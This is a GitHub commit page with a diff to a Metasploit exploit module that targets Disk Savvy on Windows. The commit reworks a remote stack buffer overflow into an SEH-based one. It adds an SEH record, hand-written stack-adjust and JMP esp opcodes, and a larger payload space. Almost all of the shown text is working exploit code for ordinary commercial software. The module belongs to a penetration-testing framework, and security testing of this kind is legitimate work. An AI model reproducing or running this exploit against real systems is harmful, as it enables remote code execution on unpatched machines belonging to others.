Skip to content

Commit d02bf40

Browse files
committed
Modified Exploit
Remove NOPS that weren't needed and freed up space for a larger payload. [ticket: rapid7#9561]
1 parent 651ddbb commit d02bf40

File tree

1 file changed

+8
-7
lines changed

1 file changed

+8
-7
lines changed

modules/exploits/windows/misc/disk_savvy_adm.rb

Lines changed: 8 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
77
Rank = GreatRanking
88

99
include Msf::Exploit::Remote::Tcp
10+
include Msf::Exploit::Remote::Seh
1011

1112
def initialize(info = {})
1213
super(update_info(info,
@@ -30,7 +31,7 @@ def initialize(info = {})
3031
'Payload' =>
3132
{
3233
'BadChars' => "\x00\x02\x0a\x0d\xf8",
33-
'Space' => 355
34+
'Space' => 800
3435
},
3536
'Targets' =>
3637
[
@@ -50,16 +51,16 @@ def initialize(info = {})
5051
end
5152

5253
def exploit
54+
seh = generate_seh_record(target.ret)
5355
connect
5456

5557
buffer = make_nops(target['Offset'])
56-
buffer << "\x90\x09\xEB\x05"
57-
buffer << [target.ret].pack('V')
58-
buffer << make_nops(10)
59-
buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "add esp,100").encode_string * 20
60-
buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp esp").encode_string
61-
buffer << make_nops(441)
58+
buffer << seh
59+
buffer << "\x83\xc4\x7f" * 13 #ADD esp,7fh
60+
buffer << "\x83\xc4\x21" #ADD esp,21h
61+
buffer << "\xff\xe4" #JMP esp
6262
buffer << payload.encoded
63+
buffer << Rex::Text.rand_text_alphanumeric(1)
6364

6465
header = "\x75\x19\xba\xab"
6566
header << "\x03\x00\x00\x00"

0 commit comments

Comments
 (0)